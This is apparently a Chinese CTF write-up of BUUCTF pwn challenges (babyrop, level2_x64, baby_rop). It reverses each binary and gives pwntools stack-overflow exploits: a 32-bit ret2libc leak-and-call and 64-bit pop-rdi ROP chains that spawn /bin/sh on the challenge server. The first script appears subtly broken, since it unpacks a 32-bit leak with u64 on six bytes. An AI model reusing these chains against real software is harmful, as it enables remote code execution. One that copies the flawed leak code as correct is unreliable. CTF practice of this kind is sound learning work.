buuctf pwn(13~16)

[OGeek2019]babyrop

32位elf文件,放进32位ida,先看一下逻辑,和漏洞点
main函数:
在这里插入图片描述
/dev/urandom这个目录是生成随机数的
然后就是下面的函数的了,sub_804871F
在这里插入图片描述
也不存在漏洞,那再看下面的函数sub_80487D0
在这里插入图片描述
在这里插入图片描述
所以应该让a1足够大,能够完成栈溢出
a1又和v2有关系v2=a2[7],a2是我们输入的数据
所以漏洞点就找到了。
但是有一点需要注意一下
在这里插入图片描述
这个地方会比较两个数据,所以我们让v1等于0,即通过\x00来绕过strlen的长度检测,这样就是比较他们的前0位肯定是相等的。

再checksec一下
在这里插入图片描述
没有找到system函数和/bin/sh字符串
而且给了一个libc-2.23.so文件
所以这个题应该就是经典32位retlibc题了
脚本如下:

from pwn import *
context(os = "linux", arch = "i386")
context.log_level = 'debug'
p=remote("node4.buuoj.cn",29035)

elf=ELF("./pwn13")
libc=ELF("./libc-2.23.so")

ret=0x08048502
main=0x08048825

write_plt=elf.plt['write']
read_got=elf.got['read']

pay=b'\x00'+b'\xff'*0x18  #\x表示的十六进制,意思就是16进制的ff
p.sendline(pay)
p.recvuntil("Correct\n")
payload=b'a'*(0xe7+4)+p32(write_plt)+p32(main)+p32(1)+p32(read_got)+p32(4)
p.sendline(payload)
read_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(read_addr))

libc_base=read_addr-libc.sym['read']
sys=libc.sym['system']+libc_base
bin=libc_base+libc.search(b"/bin/sh").__next__()

pay=b'\x00'+b'\xff'*0x18
p.sendline(pay)
p.recvuntil("Correct\n")
payload=b'a'*(0xe7+4)+p32(sys)+p32(ret)+p32(bin)
p.sendline(payload)

p.interactive()

在这里插入图片描述

jarvisoj_level2_x64

64位elf文件,放进64位ida里看一下主体逻辑
在这里插入图片描述
在这里插入图片描述
有system函数而且还有个溢出点,shift+f12看一眼有没有/bin/sh字符串
在这里插入图片描述
有的话,需要一个pop rdi ret
再checksec一下
在这里插入图片描述

然后直接system
构造rop

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
p=remote("node4.buuoj.cn",26205)
#p=process("./pwn14")
sys=0x4004C0
bin=0x600A90
ret=0x00000000004004a1
pop=0x00000000004006b3
payload=b'a'*(0x80+8)+p64(pop)+p64(bin)+p64(ret)+p64(sys)
p.sendline(payload)
p.interactive()

在这里插入图片描述

[HarekazeCTF2019]baby_rop

64位elf文件,丢进64位ida里面
在这里插入图片描述
发现一个溢出点,而且有system函数,再看一下有没有/bin/sh
在这里插入图片描述
再checksec一下
在这里插入图片描述

那这个题和上面的几乎一样了
构造rop

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
p=remote("node4.buuoj.cn",27033)
#p=process("./pwn14")
sys=0x400490
bin=0x601048
ret=0x0000000000400479
pop=0x0000000000400683
payload=b'a'*(0x10+8)+p64(pop)+p64(bin)+p64(ret)+p64(sys)
p.sendline(payload)
p.interactive()

在这里插入图片描述

ciscn_2019_en_2

这个题之前发过了,一摸一样,经典retlibc
64位题
下面是我之前写过的:
https://blog.csdn.net/cainiao78777/article/details/127988372?spm=1001.2014.3001.5501

猜你喜欢

转载自blog.csdn.net/cainiao78777/article/details/128418563